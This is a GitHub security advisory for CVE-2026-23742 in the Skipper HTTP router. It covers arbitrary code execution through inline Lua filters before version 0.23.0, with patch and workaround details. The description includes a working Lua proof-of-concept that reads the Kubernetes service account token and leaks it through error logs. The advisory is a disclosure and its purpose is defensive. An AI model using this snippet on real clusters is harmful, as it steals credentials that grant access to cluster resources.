GitHub Advisoryadvisory · Go

GHSA-cc8m-98fm-rc9g Skipper is vulnerable to arbitrary code execution through lua filters

HIGH Published 2026-01-16 Modified 2026-01-16 Official page ↗
Aliases
CVE-2026-23742
Ecosystem
Go
Packages
github.com/zalando/skipper
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-250, CWE-522, CWE-94
Reviewed
2026-01-16

Affected packages

• Go github.com/zalando/skipper: < 0.23.0 → fixed in 0.23.0

Description

Impact Arbitrary code execution through lua filters. The default skipper configuration before v0.23 was `-lua-sources=inline,file`. The problem starts if untrusted users can create lua filters, because of `-lua-sources=inline` , for example through a Kubernetes Ingress resource. The configuration `inline` allows these user to create a script that is able to read the filesystem accessible to the skipper process and if the user has access to read the logs they an read skipper secrets. Kubernetes example (vulnerability is not limited to Kubernetes) ```lua function request(ctx, params) local file = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token', 'r') if file then local token = file:read('*all') file:close() error('[EXFIL] ' .. token) -- Exfiltrate via error logs end end ``` Patches https://github.com/zalando/skipper/releases/tag/v0.23.0 disables Lua by default. Workarounds You can reduce support of how you can pass lua filter script data by providing config for lua sources https://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources. For example `-lua-sources=file` will only be exploitable if the attacker can create a lua script file on the target system. References https://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources

Related

Alias · CVE (1)

  • CVE-2026-23742 Skipper is an HTTP router and reverse proxy for service composition. vulnerability

Weakness · CWE (3)

  • CWE-250 Execution with Unnecessary Privileges weakness
  • CWE-522 Insufficiently Protected Credentials weakness
  • CWE-94 Improper Control of Generation of Code weakness

References